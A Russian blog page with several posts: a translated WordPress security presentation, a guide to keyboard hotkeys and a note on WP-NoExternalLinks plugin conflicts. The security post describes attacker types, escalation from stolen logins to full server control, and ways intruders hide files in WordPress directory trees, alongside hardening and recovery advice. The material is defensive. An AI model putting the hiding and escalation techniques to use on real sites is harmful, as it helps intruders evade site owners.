Лично я полагаю, что если сайт пользуется популярностью (в первом миллионе по рейтингу Алекса Топ), он получает большое обновление контента – возможно, даже имеет персонал – и поэтому будет больше шансов получить обновления тем и плагинов для WordPress регулярно, чем у небольшого личного сайта. Это предположение может соответствовать, а может и не соответствовать действительности.

И последнее, что действительно важнее всего сказанного выше: каждый 2-ой среди лучших сайтов WordPress в мире уже значительно устарел.

Авторы программного обеспечения, компаний, работающие в сфере компьютерной безопасности, и агентства сотрудничают, чтобы вести список уязвимых мест, которым присваиваются идентификаторы CVE . На WordPress (в том числе среди трети тем и плагинов) имеются 223 идентификатора CVE.

Существует также статистика уязвимости WordPress , где учтены все уязвимые места WordPress, которым присвоен идентификатор cve.

Национальная база данных уязвимостей, которые ведутся в Национальном Институте стандартов и технологий США (nist), содержится 590 уязвимостей для WordPress.

Еще одним хорошим источником информации об уязвимости WordPress является http://www.exploit-db.com/ , содержащий сведения о 376 уязвимых местах WordPress.

cve расшифровывается как «общая уязвимость и незащищенность».

Многие уязвимые места никогда не получат идентификатор cve, потому что требуются определенные усилия для их выявления. Например, то, что общая кэш-память W3 позволяет удаленное выполнение кода, которое мы рассматривали, должно было получить идентификационный номер cve -2013—2010, но хотя этот идентификатор был зарезервирован для уязвимости, процесс не был завершен, поэтому он не содержит никакой информации.

Типы плохих парней

Скрипт кидди

Скрипт кидди

  • Использует инструменты, написанные другими людьми, подобно тому, как это делаем мы здесь, а не обнаруживает новые уязвимости сам  и развивает эксплойты для них.
  • Часто мотивирован тем, что пытается произвести впечатление на других созданием личных империй или вредоносных развлечений («лулзов/приколов»).
  • Часто это начинающие хакеры, или любители/дилетанты в сфере компьютерной безопасности.
  • Это самый многочисленный тип плохих парней, но от них проще всего защититься.

«лулзы» (вариант «лол») – поднятие на смех кого-то, кто является жертвой шутки.

Хактивист

Хактивист

  • Мотивирован жаждой известности, повышением уровня осведомленности о своих действиях или иногда желанием напрямую продвигать свои интересы.
  • Может испортить репутацию веб-сайта, особенно часто выбирает крупные или известные веб-сайты, в целях усиления публичности.
  • Может создать ботнет для осуществления распределенного отказа в обслуживании (DDoS) или другие формы нападения на реальные цели.
  • Примеры групп хактивистов включают в себя Anonymous и Сирийскую электронную армию.

Белый хакер (White Hat)

Белый хаккер

  • Охватывает исследователей в области безопасности, тестеров взлома, аудиторов и других профессионалов в области безопасности.
  • Хотя это хорошие парни, но они должны рассматриваться как плохие в целях защиты ваших сайтов WordPress.
  • Большинство будет только взламывать системы, принадлежащие их работодателю или клиентам, так как это часть их работы. Тем не менее, некоторые будут стремиться найти новые уязвимые места для того, чтобы сделать себе имя или чтобы привлечь внимание к проблемам безопасности, что может негативно отразиться на пользователях.

На фото Джон Оберхейд, исследователь систем безопасности, который живет в Энн-Арборе и был соучредителем местной фирмы «Duo Security».

Представители организованной преступности и другие профессиональные плохие парни

Плохие парни - преступные организации

  • Движимые жаждой наживы, они могут взломать ваш сайт, чтобы:
    • Использовать его в ботнете из взломанных сайтов и серверов.
    • Установить на сайте вредоносные программы, предназначенные для заражения, и получить доступ к компьютерам людей, которые посещают сайт (например, чтобы построить ботнет).
    • Настроить магазины «черного рынка» (например, черный рынок аптек).
    • Настроить ссылочные фермы для подрыва рейтинга в поисковых системах.
    • Добывать цифровую валюту (например, биткойн).
    • Воровать (взлом пароля и т. д.).
  • На сегодняшний день именно эти плохие парни, скорее всего, взломают ваш сайт WordPress.

Как в случае с ботнетами, так и со взломанными личными данными, злоумышленник может, скорее всего, продать их еще одному плохому парню за наличные; тогда теневой рынок будет процветать у обоих. Или злоумышленник может использовать их самостоятельно.

Две наиболее распространенных цели ботнетов – это рассылка спама или проведение распределенного отказа в обслуживании (DDoS-атаки). DDoS-атаки могут осуществляться по идеологическим причинам, служить отвлекающим маневром для следующей атаки или кражи, или поводом для вымогательства платы за ненарушение бизнеса.

Кража персональных данных, скорее всего, будет иметь финансовую подоплеку. В то время как большинство блогов WordPress не обрабатывают данные кредитных карт, злоумышленник будет идти по следу хэшей паролей (для WordPress или операционной системы расчетов) и попытаются взломать их или установить клавиатурные шпионы. Многие люди используют один и тот же пароль для нескольких веб-сайтов, или используют простые шаблонные пароли или схемы. Знание паролей учетной записи WordPress является не очень ценным, но это может привести к взлому учетных записей электронной почты, мерчант-аккаунтов (например, Amazon), или рабочих записей и сбору достаточного количества информации, стоящей использования или продажи.

Шпионы

Шпионы

  • Государственный или корпоративный шпионаж.
  • В то время как другие типы плохих парней, вероятно, выберут ваш сайт наугад, то государственный или корпоративный шпион, скорее всего, выберет вас по определенной причине, если уж он это делает.
  • Самый опасный – но и самый редкий – тип  плохих парней.

Уровни взлома

Злоумышленник, успешно воспользовавшийся уязвимостью системы безопасности, может проявить себя в одном из нескольких уровней взлома. По степени повышения серьезности они таковы:

  • Войти в систему, используя украденные учетные данные (догадался, подменил, перехватил). Это позволяет злоумышленнику делать то, для чего были заведены человеком эти учетные данные.
  • Взломать веб-приложения. Это позволяет злоумышленнику делать вещи, которые обычно не разрешены, например, получать закрытую информацию из базы данных или изменять посты.
  • Взломать учетную запись, которая запускает веб-приложения. Это дает злоумышленнику ограниченный контроль над сервером, что позволяет ввести произвольный код в качестве пользователя веб-сервера.
  • Взломать сервер, где размещается веб-приложение. Это дает злоумышленнику полный контроль над сервером, операционной системой, и всеми сайтами, размещенными на сервере.

Зачастую, злоумышленник взламывает сайт на одном уровне и затем использует информацию и доступ, чтобы осуществить уже более глубокую атаку сайта.

Например, злоумышленник может взломать сайт WordPress, чтобы стать автором блога и  воспользоваться той уязвимостью, которая доступна только авторам и заключается в том, что они могут запустить любой код, какой хотят. Затем, применив этот уровень доступа, он воспользуется уязвимостью операционной системы, которая не может быть использована удаленно, только локальными пользователями, для того, чтобы стать системным администратором (суперпользователем) на сервере.

Если кто-то взламывает сервер, становится гораздо труднее восстановить контроль снова, поскольку злоумышленник может скрыть код в ядре операционной системы или в библиотеке. Наилучший выход из этой ситуации состоит в том, чтобы перезагрузить машину и восстановить сайты и другие данные из заведомо исправной резервной копии.

В нашей демонстрации, мы смогли перейти непосредственно к пункту #3 и остановиться там. Многие злоумышленники будут пытаться продолжить на уровне #4, если сделать это им будет достаточно легко (например, если операционная система не в курсе) или если они ставят перед собой именно эту цель.

Стелс (скрытое действие)

Квалифицированный атакующий, который не стремится к публичности, будет стараться скрыть свое присутствие на сайте или сервере как можно дольше, так как если вы их найдете, вы их выгоните и устраните уязвимости, с использованием которых они первоначально вошли. Взлом вашего сайта может не быть очевидным.

Злоумышленник может:

  • Скрыть свои файлы глубоко в дереве каталогов WordPress
  • Дать своим файлам и URL-адресам кажущиеся законными имена (напр., wp-comments-page.php , который фактически не является частью WordPress).
  • Поместить свои файлы в скрытые каталоги (на Linux/Unix-серверах, каталоги, чьи имена начинаются с точки, не отображаются по умолчанию).
  • Поместить свои файлы в каталоги, которые трудно обнаружить (например, каталог, имя которого обозначается одним пробелом).

Как обезопасить свой сайт WordPress

Короткая версия:

  • Проверяйте наличие обновлений для WordPress, тем и плагинов как минимум раз в неделю и выполняйте обновления сразу.
  • Выполняйте все операции через руководство net Basic . Это – скорее деятельность, чем конфигурации.
  • Выполняйте все операции через руководство net Secure WordPress. Здесь, в основном, вы работаете с изменениями конфигураций.

В WPsecure.net также есть руководство и справочник Advanced Security . Я не рекомендую большинство объектов в этих двух руководствах, поскольку они имеют ограниченную эффективность.

Обновление:

  • Проверяйте наличие обновлений для WordPress, тем и плагинов как минимум раз в неделю и выполняйте обновления сразу.

«Но я не хочу ничего ломать!»

  • Заведите «черновой» сайт, где вы сможете попробовать новые явления, прежде чем вы используете их на своем живом сайте. Это может быть даже WordPress, установленный на ваш ноутбук, если вы не хотите платить за хостинг другого сайта.
  • Ждите не более 2-3 дней после того, как будет доступно обновление, проверьте форумы по вопросу сообщений о проблемах, и если их нет, то обновляйте.
  • В том маловероятном случае, что при обновлении что-то сломается, выполняйте возврат к предыдущей версии (через Shell или доступ через SFTP) или восстанавливайте из резервной копии (вы ведь, действительно, регулярно делаете  резервные копии, не так ли?)

Вы можете бесплатно скачать BitNami Stack для WordPress из Mac App Store для очень удобного запуска разработки сайта WordPress на вашем ноутбуке.

Больше работайте с использованием WAMP (Windows)  или MAMP (Mac).

Или для  большего контроля вы можете настроить сервер под управлением Linux в качестве виртуальной машины на своем ноутбуке и использовать приспособление WordPress или развернуть свой собственный сервер.

Что касается пароля:

  • Если единственные люди, которые могут входить в систему на вашем сайте, это вы и авторы, введите ограничения, откуда люди могут зайти (через конфигурацию веб-сервера).
  • В противном случае, используйте плагины, такие как Limit Login Attempts  или Login Security Solution , которые ограничивают число попыток входа в систему для предотвращения подбора пароля путем перебора.
  • Людям не должно быть легко в попытке узнать, какие имена учетных записей существуют на вашем сайте WordPress. Не заводите учетной записи с именем «администратор» (замените ее, если она у вас есть), и убедитесь, что отображаются имена авторов, а не их логины (установите вместо них ники).

Что ещё касается пароля:

  • Рекомендации по выбору пароля:
    • Не используйте один и тот же пароль для нескольких сайтов или учетных записей.
    • Не создавайте «узор» из паролей для нескольких сайтов или учетных записей.
    • Убедитесь, что пароли являются длинными и сложными.
  • Лучше всего: используйте случайные пароли из менеджеров паролей, таких как 1Password или PassPack.
  • Или: используйте четыре или более не связанных между собой слов («верно лошадь батарея скрепка»).
  • Или: используйте первую букву каждого слова из предложения, добавляя некоторые цифры и знаки препинания.

Ars Technica опубликовал статью в марте 2013 года , показывающую, как легко взламывать пароли.

Выбирая слова, не используйте фразы – убедитесь, что слова не связаны друг с другом. Даже непонятные фразы легко взломать.

Защищайтесь сразу с двух сторон: создайте пароли, которые трудно угадать, и если один из ваших паролей украдут (с этого или другого сайта), убедитесь, что злоумышленник не сможет использовать его ни для чего другого.

То, что взлом паролей настолько легок, дает еще один повод ограничить, откуда пользователи могут входить в систему. Вам действительно нужно входить в систему вашего сайта – не используя VPN – из кофейни во Вьетнаме?

Хостинг и протокол SSL:

  • Выбирайте авторитетный узел, который имеет хороший послужной список безопасности (спросите их о гарантиях, которые они предоставляют).
    • Отдавайте предпочтение хостам, которые позволяют установить и полностью управлять WordPress и всеми его темами и плагинами самостоятельно – таким образом, вы сможете полностью контролировать безопасность своего сайта WordPress.
    • Отдавайте предпочтение хостам, которые поддерживают для вас операционную систему, веб-сервер, и сервер базы данных, а также делают резервные копии для вас.
      • Осуществляйте регулярные проверки совместно с вашим хостинг-провайдером, чтобы убедиться, что веб-сервер и сервер баз данных находятся в актуальном состоянии и под управлением последней версии операционной системы, с внесением необходимых исправлений; какие бы дистрибутивы они не использовали, удостоверьтесь, что они не используют те, что уже не поддерживаются.
  • Включите протокол SSL (https) для входа в ваш сайт и на административную страницу.
    • Если Вы не используете протокол SSL, логин и пароль будут отправлены по сети в незашифрованном виде и могут быть перехвачены.
    • Отдавайте предпочтение хосту, который позаботится о получении SSL-сертификата для вас, управлении  и продлении его действия, а также о настройке веб-сервера для SSL, так чтобы все, что вам нужно было сделать, это включить его в WordPress.

Не выбирайте хостинг просто на основе стоимости!

Веб-сервер и файловая система:

  • Блокируйте доступ к wp-includes and wp-admin/includes
  • Блокируйте доступ к .htaccess  файлам
  • Блокируйте доступ или удаляйте .txt  файлы и README файлы.
  • Установите файл robots.txt  для предотвращения того, что боты попытаются индексировать фиды, административные страницы, их составляющие и др.
  • Убедитесь, что у вас нет ни одного файла или каталога, записанного кем-либо, кроме пользователей, которые работают на веб-сервере. (Последняя цифра разрешения должна всегда быть 0, 4, или 5, не 6 или 7).

Разное:

  • Обезопасьте вашу базу данных:
    • Во время установки WordPress, выберите для таблицы базы данных другой префикс, нежели wp_.
    • Удалите базы данных test.
    • Удалите анонимных пользователей базы данных.
    • Убедитесь, что к базе данных нет доступа через Интернет.
  • Включайте редактирование файлов только, когда вам это нужно, чтобы внести изменения в ваши темы. В остальное время держать его отключенным под командной строкой wp-config.php:
define('DISALLOW_FILE_EDIT', true);
  • Сканируйте ваш сайт при помощи WPScan.

Включение DISALLOW_FILE_EDIT может выглядеть немного параноидальным.

Что делать, если ваш сайт оказался под угрозой взлома

  • Переведите сайт в автономный режим (поставьте его в режим обслуживания). Это не позволит злоумышленнику совершить дальнейшее повреждение или сопротивляться вашим попыткам восстановить контроль.
  • Уведомите хостинг-провайдера, чтобы он мог помочь.
  • Сделаете резервное копирование сайта с нарушениями в случае, если вам нужно изучить его позже.
  • Посмотрите на веб-сервере файлы входа в систему, чтобы определить, как злоумышленник совершил взлом. Это поможет вам узнать, как устранить проблему, и это же может понадобиться, чтобы отыскать то, что злоумышленник совершил.
  • Обновите все, что можно обновить.
  • Удалите любые файлы, страницы, посты, комментарии или процессы, добавленные злоумышленником. Если есть сомнения, точно ли вы все нашли, создайте новый сайт на WordPress с нуля и восстановите в нем свою последнюю удачную резервную копию.
  • Измените все пароли, которые использует сайт. А также смените вашего хостинг-провайдера и базы данных паролей.

Как минимизировать урон от взлома

  • Не регистрируйте ничьих учетных записей как пользователей WordPress, кроме авторов и администратора. Используйте социальные медиа записи для комментаторов.
  • Не работайте с конфиденциальной информацией на вашем сайте в интернете (кредитные карты, номера социального страхования, медицинская информация и др.)
  • Настройте автоматическое ежедневное резервное копирование (как файлов, так и базы данных) и ежемесячное тестирование резервных копий.
  • Сохраните подробные записи о том, как вы создали свой сайт, так чтобы вы знали, как все должно быть настроено.
  • Подготовьте план, что делать, если вас взламывают – к кому обращаться, что делать, как это делать.

Если вы не заводите учетных записей WordPress для комментаторов, то сразу удаляете большую вероятность взлома, связанного с ужасно слабыми паролями, привязанными к адресам электронной почты.

Сохранение подробных записей служит нескольким целям: во-первых, вы будете иметь представление о том, как все было устроено и каким оно должно быть – так вы будете в состоянии сказать, изменил ли что-то злоумышленник; во-вторых, вы сможете создать новый сайт с теми же настройками, если это необходимо, не беспокоясь о том, все ли у вас правильно; в-третьих, это заставит вас быть в курсе решений, которые вы принимаете, и вы будете иметь более ясное понимание общей картины вашего сайта.

Ссылки

 

 

Если вы хотите знать об уязвимости и о том, как злоумышленники пользуются ей, то список owasp Топ-10 (выше) будет хорошим отправным пунктом.

Для продвинутых читателей интерес представляет анализ сериализации уязвимости PHP-объектов, которая была одной из главных уязвимостей, исправленных в сентябре 2013. в версии WordPress 3.6.1:

http://vagosec.org/2013/09/wordpress-php-object-injection/

Назначение клавиш клавиатуры компьютера

Доброго времени суток, дорогие читатели блога «Мои тараканы»!

Hot Key.

Вот наступил Новый Год, с чем поздравляю своих читателей. Пусть у Вас сбудется все, что запланировали в этом году! Но для этого нужно ударно потрудиться. А чтобы труды приносили максимум пользы при минимуме затрат нужно повысить производительность труда. Сегодняшний пост именно об этом.

Главный инструмент веб-мастера — клавиатура. Но все ли знают о назначение клавиш на клавиатуре? Многие, для копирования и вставки текста используют правую кнопку мыши. А о форматировании контента из клавиатуры кое-кто даже и не слышал.  Хотя знания специальных клавиш и клавиатурных сокращений значительно повысили бы производительность труда!

Оглавление:

1. Назначение клавиш клавиатуры компьютера:

2. Горячие клавиши:

3. Секрет подчеркнутых букв в пунктах меню

Организация и назначение

Раскладка клавиатуры.

Функциональные

Функциональные клавиши — 12 кнопочек в верхнем ряду с F1 по F12 для выполнения специальных задач. В большинстве случаев, не зависимо от производителя аппаратной части ПК и установленного на нем ПО, они выполняют одни и те же функции (но это не является правилом).

Так нажатие на клавишу F1, практически всегда, вызывает окно справки.

F2 — ведёт к переименованию выделенного файла.

F3 — выполняет поиск (вызов поисковой области).

F4 — назначение этой кнопки может меняться (вызов адресной строки, открытие файла на редактирование) в зависимости от того где используется.

F5 — обновление данных (например, обновление станицы в браузере).

F6 — перемещение фокуса между элементами. Например, в браузере — это будет переход между адресной строкой и основной частью. Или перемещение между кнопкой «Пуск», панелью задач, системным треем и т.д. для последующего выбора интересующего элемента.

F7 — F9, F12  — эти клавиши в операционной системе Windows не имеют определённого назначения — всё будет зависеть от настроек программ, в которых они будут использоваться.

F10 — вызывает меню программы, если по умолчанию оно скрыто.

F11 — переключение между полноэкранным режимом и обратно.

А вы знали что, на первых компьютерах IBM содержались функциональные клавиши от F1 до F24.

Клавиатура IBM

Управляющие или специальные

Ctrl , Alt, Escape, Win, PrintScreen, ScrollLock, Pause/Break, AppsKey — это специальные клавиши, они используются отдельно или в сочетании с другими клавишами (так называемые комбинации горячих клавиш) для выполнения всевозможных задач. Например, комбинация Ctrl + С приведёт к копированию выделенного элемента, а нажатие на Escape — вызывает отмену действия или закрытие диалогового окна.

Клавиши этой группы не имеют определённого места на «клаве», для удобства в применении они разнесены по всем углам.

Ctrl и Alt — это модификаторы — они используются только в связке с другими клавишами.

PrintScreen предназначена для снятия скриншота (снимка экрана).

ScrollLock — применяется для фиксации положения курсора. Когда включен ScrollLock, и вы выполняете навигацию по странице при помощи клавиш перемещения (о назначении этой группы смотрите немного ниже) у вас будет двигаться экран. Если отключен — будет перемещаться курсор. Этот режим сейчас используется очень редко и работает не везде, в частности в Exel он присутствует.

Pause/Break — для прерывания запущенного процесса. Например, вы можете приостановить загрузку программы и даже загрузки самой OS Windows (можно посмотреть, что пишет ваш ПК), нажать паузу в игре. Также, иногда (например, Punto Switcher) может служить для быстрой смены языка.

AppsKey — аналог ПКМ (правой кнопки мыши). Кнопка находится между правым Ctrl и правым флажком Windows. На ней изображен курсор и меню.

Windows (флажок Windows Изображение клавиши с эмблемой Windows) — открывает меню «Пуск».

Клавиатура ноутбука отличаются от клавиатуры ПК наличием кнопки Fn (в нижнем левом углу). При использовании в комбинации с другими клавишами происходит управление громкостью динамика, контрастностью и яркостью монитора и другими параметрами.

Алфавитно-цифровые

Эта группа для ввода текста. На них изображены буквы, цифры, знаки препинания, специальные символы. Я думаю, на них не стоит зацикливать внимание — об их роли известно, наверное, каждому.

В этой группе есть клавиши которые можно отнести сразу к алфавитно-цифровым и специальным. Это Shift, CapsLock, Tab, Enter, Backspace.

Вы знали, что история появления современной клавиатуры начинается в 1868 году, с появления первой печатной машинки, созданной Кристофером Шользом. Изначально символы на клавиатуре этой машинки располагались в алфавитном порядке. Но уже в 1890 году появилась, известная нам, «QWERTY» клавиатура. Свое название она получила за первые шесть букв в латинской раскладке. На русском она должна бы называться «ЙЦУКЕН», но почему то её так никто не называет :) .

Перемещения

Эту группу ещё называют клавишами управления курсором. В неё входят: вверх ↑, вниз ↓, влево ←, вправо →, Insert, Delite, Home, End, Page Up, Page Down. Эти клавиши предназначены для манипуляций связанных с навигацией по странице.

Insert — переключатель из режима вставки символов в режим замены. В обычном состоянии, текст, который вы вводите, сдвигает то, что находится справа от курсора. После нажатия Insert, то, что вы вводите, будет заменять содержимое находящееся справа от курсора. То есть содержимое будет не сдвигается а печататься поверх существующего.

Delite — для удаления чего либо — выбранного элемента, текста. Кстати Delite, по своей функциональности, похожа на Backspace. При работе в редакторах Backspace удаляет находящееся слева от курсора, Delite — справа.

Home — перемещает курсор в начало строки, начало документа, или в начало списка файлов в проводнике.

End — выполняет функции обратные Home.

Page Up, Page Down — функции похожи на функции заложенные в End и Home. Но только перемещение происходит на одну страницу вниз или вверх. Страницей, чаще всего, считается содержимое, находящееся в текущем окне.

Цифровые

Цифровые кнопки можно использовать как для ввода цифр и арифметических операторов, так и для использования в качестве эмулятора мыши.

Если нажать Num Lock — активен ввод с цифровой клавиатуры (в это время горит соответствующий индикатор).

Если ещё раз нажать Num Lock — то, при помощи цифровой клавиатуры можно управлять курсором как мышью. Но для этого нужно предварительно активировать эмулятор мыши — Alt + Shift + Num Lock. В диалоговом окне, которое появится для включения этого режима, также находится ссылка на центр специальных возможностей, где вы можете задать параметры управления мышью с клавиатуры. Советую скорость движения указателя и ускорение ставить на максимум.

Движение курсора осуществляется кнопками «1», «2», «3», «4», «6», «7», «8», «9». Клик — «5». Двойной клик «+». Заметили что я не указал, клик какой кнопки мыши произойдет, правой или левой? Всё будет зависеть от того какой режим сейчас активен. Клавиша «/» — ЛКМ, «-» — ПКМ, «*» — работают обе кнопки одновременно. «0» — удерживание кнопки, «,» — снятие удерживания.

Горячие клавиши

Горячие клавиши (ещё их называют Hot Key и клавиатурными сокращениями) — это клавиши (или их сочетания) предназначенные для выполнения определённых действий без использования мыши, что значительно упрощает работу на компьютере.

Не смотря на то, что производители идут по пути стандартизации функций, на устройствах разного типа, в разных операционках и программах горячие клавиши могут выполнять разные задачи.

Горячие клавиши Windows

Сочетания Описание
Win, Ctrl + Escape Отображение меню «Пуск».
Ctrl + Shift + Escape Вызов диспетчера задач.
Ctrl + Alt + Delete Вызов диалога безопасности Windows.
Win + D Отображение-скрытие рабочего стола
Win + L Блокировка компьютера, смена учетной записи.
Win + E Запуск проводника.
Win + F,
F3
Поиск по файлам в проводнике.
Win + Pause Свойства системы
Alt + Escape Переключение между окнами (активными приложениями).
Alt + Tab Переход межу открытыми окнами (приложениями). Если использовать + Shift — переключение будет происходить в обратном порядке.
Win + Tab Тоже самое что и Alt + Tab, только с 3d эффектами (режим «Аэро»).
Ctrl + Tab Переключение между вкладками в приложении (например, между вкладками в браузере).
Win + R Запуска командной строки «Выполнить».
Alt + F4 Закрытие активного приложения.
Ctrl + F4 Закрытие вкладки (например, в браузере).
Ctrl + С, Ctrl + Insert Копировать выделенный элемент в буфер обмена (годится как для работы с файлами, так и для работы с текстом).
Ctrl + X Вырезать выделенный элемент (переместить в буфер обмена).
Ctrl + V, Shift + Insert Вставить из буфера обмена
Ctrl + A Выделить всё.
Ctrl + Z Отменить действие.
Ctrl + Y На действие вперёд (если вы комбинацией Ctrl + Z шагнули далеко назад).
Escape Возврат к предыдущему состоянию или выход из приложения (например, выход из полноэкранного режима в плеере браузера).
Ctrl + P Отправка документа на печать.

Чтобы выделить несколько документов нужно зажать Ctrl и выбрать то, что нам нужно. Повторный клик на файл (при зажатом Ctrl) исключает его из списка.

Кстати, многие горячие клавиши на Windows пойдут и на других операционных системах, например на Linux.

Горячие клавиши в браузере

Сочетания Описание
Ctrl + T Открытие новой вкладки.
Ctrl + Shift + T Открытие недавно закрытой вкладки.
Ctrl + N Открытие нового окна.
Ctrl + Shift + N Открытие нового окна в режиме инкогнито.
Ctrl + W, Ctrl + F4 Закрытие активной вкладки (не закрывайте текущую вкладку не дочитав статью до конца :) ).
Ctrl + Shift + W, Alt + F4 Закрытие активного окна.
F11 Развернуть (свернуть) окно на всю ширину экрана.
Backspace, Alt + На предыдущую страницу в истории.
Shift + Backspace, Alt + На следующую страницу в истории.
F5, Ctrl + R Обновить страницу.
Ctrl + F5 Обновить страницу с обнулением кеша браузера.
Ctrl + J Открыть загрузки.
Ctrl + H Открыть историю
Ctrl + D Добавить страницу в закладки.
Ctrl + Shift + O Открыть диспетчер закладок.
Ctrl + Shift + Del Очистить кеш браузера, историю, загрузки и т.д.
Shift + Esc Вызов диспетчера задач (эта функция будет полезна при зависании браузера)

Вот ещё несколько полезных сокращений: Ctrl + клик по ссылке — страничка откроется в новой вкладке, то же самое с Shift — в новом окне.

Горячие клавиши для работы с текстом

Существует масса хоткеев для работы в разных редакторах (Word, Exel). Чтобы перечислить их все понадобится написать не одну статью. Поэтому приведу те, которые могут пригодится в работе каждому.

Сочетания Описание
Shift + ←, Shift + Выделение по символам.
Ctrl + Shift + ←, Ctrl + Shift + Выделение по словам.
Shift + Home Выделение до начала строки.
Shift + End Выделение до конца строки.
Shift + ↑ Выделение до символа до символа предыдущей строки над указателем.
Shift + ↓ Выделение до символа до символа следующей строки под указателем.
Ctrl + Shift + ↑, Ctrl + Shift + ↓ Выделение по абзацам.
Ctrl + ←, Ctrl + Перемещение курсора по словам.
Ctrl + B Жирный.
Ctrl + I Курсив
Ctrl + U Подчеркнутый
Ctrl + А Выделить всё.
Ctrl + С Копировать выделенное.
Ctrl + X Вырезать выделенное.
Ctrl + V Вставить.
Ctrl + Z Отменить последнее действие.
Ctrl + Y На действие вперёд, если зашли далеко с предыдущей комбинацией.
Ctrl + S Сохранить документ.
Ctrl + Shift + S Сохранить документ как…
Ctrl + Backspace, Ctrl + Delite Удалить слово слева/справа от курсора.

Вот ещё видео-дополнение на тему Hot Key.

Секрет подчеркнутых букв в пунктах меню

Замечали, что в пунктах меню некоторых программ бывает, подчеркнута одна буква. Не задавались вопросом: зачем? А ответ прост — для вызова этих команд с клавиатуры.

Как это работает: жмем Left Alt (или F10) для быстрого доступа к пунктам меню, нажимаем букву, которая была подчеркнута в пункте меню, утилита выполняет действие, которое заложено в этом пункте. Один нюанс — раскладка клавиатуры должна соответствовать языку меню (если в программе меню на русском, то и язык ввода у вас должен стоять русский).

Приведу пример на браузере GoogleChrome. Жмём Alt — выделяется значок меню. Жмём Enter чтобы открыть выпадающий список. Первый пункт «Новая вкладка» . В этом пункте подчеркнута буква «в». Нажимаем кнопочку с буквой «В» и у нас открывается новая вкладка.

На этом всё! Жмем Ctrl + D и подписываемся на обновление блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!

Конфликт WP-NoExternalLinks с другими плагинами WordPress.

Доброго времени суток, дорогие читатели блога Мои тараканы!

Конфликт прагинов

В комментариях к прошлой статье мне указали на один баг в работе сайта. А именно на то, что ссылки в статье ведут на несуществующий документ.

Дело в том что у меня линки на внешние сайты замаскированы под внутренние. Для этого я использую плагин WP-NoExternalLinks. Плагин работает следующим образом — он, в начало URL внешней ссылки, через разделитель, добавляет адрес моего блога. Пример: http://moi-tarakany.ru/goto/http://site.ru. Но при клике на такую ссылку происходит редирект посетителя по нужному адресу. Таким образом, внешние ссылки визуально похожи на внутренние, но на самом деле ведут пользователя на посторонний (в смысле не мой) ресурс.

На счет того, полезна или вредна маскировка ссылок через редирект есть много мнений. Но поскольку, этот метод я начал использовать очень давно и никаких проблем (в плане SEO) с ним не возникало (как мне кажется), то экспериментировать, что-то менять, я не собираюсь.

Так вот, причиной бага с неработающими ссылками оказался конфликт WP-NoExternalLinks с другим плагином. Конфликты возникали и раньше, поэтому я решил описать все известные мне ситуации и способы их решения.

Конфликт с Hyper Cache

Плагин кэширования Hyper CacheПервый плагин, который не подружился с WP-NoExternalLinks, был плагин кэширования Hyper Cache. Как и в ситуации, которую я описал в начале статьи, при переходе по внешней ссылке, посетителя перекидывало на страницу 404.

Вкратце расскажу, как работает плагин Hyper Cache. Вы запрашиваете страничку сайта, wordpress обрабатывает ваш запрос, достаёт из БД (базы данных) все, что должно содержатся на этой странице, плагина обрабатывают это содержимое и лишь потом вы получаете результат в окне браузера. Hyper Cache сохраняет сгенерированную страницу в кэше и при следующем запросе выдаёт вам (или любому другому пользователю) сохранённую копию, минуя длинный путь формирования страницы, что уменьшает скорость её загрузки и уменьшает нагрузку на сервер.

Но вот здесь и кроется основная закавыка. Внешние ссылки в сохраненной копии страницы не обрабатываются плагином WP-NoExternalLinks. То есть, вместо редиректа на внешний ресурс пользователь попадает на внутреннюю страницу вида http://moi-tarakany.ru/goto/http://site.ru, но, как вы понимаете, такой страницы на сайте не существует (404 Not Found). А это не есть гуд.

На многих сайтах советовали в настройках плагина Hyper Cache указать исключения для страниц имеющих в урле /goto/. Я указывал и /goto/ и http://moi-tarakany.ru/goto/ и moi-tarakany.ru/goto/ и /404/— всё зря, ничего не помогло.

Тогда я просто сменил плагин кэширования на WP Super Cache, о чем ни грамма не жалею. Этот плагин оказался ни чем не хуже, я бы сказал даже лучше. Так что, если у вас возникнет похожая проблема — смело сносите Гипер Кеш.

Конфликт с WP-HTML-Compression

Плагин WP-HTML-CompressionWP-HTML-Compression предназначен для сжатия HTML-кода страницы выдаваемой пользователю. Он удаляет лишние пробелы в коде, переносы, отступы и всякое такое. На выходе вес странички (объем кода) уменьшается на несколько килобайт, что положительно влияет на скорость загрузки сайта и, соответственно, на более лояльное отношение к нему со стороны поисковиков.

Хотите посмотреть, как сжимает он ссылки. Из ссылки такого вида http://moi-tarakany.ru/goto/http://site.ru он вырезает всё лишнее http://moi-tarakany.ru/goto/http://site.ru и превращает в такую /goto/http:/site.ru. С тем что он превратил абсолютную ссылку в относительную (обрезал http://moi-tarakany.ru) WP-NoExternalLinks справился. Но вот удаление второго слеша после http:, хотя компрессор действовал правильно (не допускается два слеша подряд в адресе сайта), ввело его в ступор. Как следствие редирект на 404 Not Found.

Моим решением было отказаться от WP-HTML-Compression пока не найду подходящую замену. Ещё не тестировал другие плагины из этой серии, но предполагаю, что проблема будет повторяться.

Кстати, никто не посоветует, чем можно заменить WP-HTML-Compression?

Конфликт с BBQ: Block Bad Queries

Плагин BBQ: Block Bad QueriesДетально о его работе напишу в одной из следующих статей, а сейчас скажу только что, он неплохо предохраняет ваш сайт от взлома.

Лично у меня, с этим плагином проблем не возникало, потому что у меня его нету :) . Но ходят слухи что, одновременно эти два плагина не работают. Выбирайте сами чего вы хотите: рыбку съесть или на ёлку залезть.

На этом список плагинов конфликтующих WP-NoExternalLinks у меня исчерпан, ну и слава богу. Если вы знаете ещё какой-то — пишите в комментариях, добавлю в список.

С уважением, Мышак Пётр.

Презентация взлома сайта на WordPress

Доброго времени суток, уважаемые читатели блога Мои тараканы!

Хакерская атака

Когда готовил первую статью в рубрику о безопасности попал на обзор презентации по взлому WordPress.  Саму статью написал Марк Монтаг, программист из Мичиганского университета, а её обзор я нашёл на сайте Хакер. Обзор меня заинтересовал и я решил посмотреть презентацию полностью. Но вот беда — она на английском (в школе я учил Deutsch). Эх, чего не сделаешь из любопытства — я не пожалел денег и заказал перевод. Вот хочу теперь поделиться им с вами. Надеюсь вам понравится.

На сайте оригинала презентация представлена в виде слайдов и в виде статьи. Я не стал заморачиваться — выложил только статью (просто не удивляйтесь когда в тексте встретите упоминания о слайдах).

Марк Монтаг (Mark Montague)

mark@catseye.org

Многие слайды снабжены примечаниями, содержащими дополнительный материал:

  • Для перехода между слайдами и оглавлением презентации нажмите «t». Примечания будут отображаться в режиме структуры. Либо
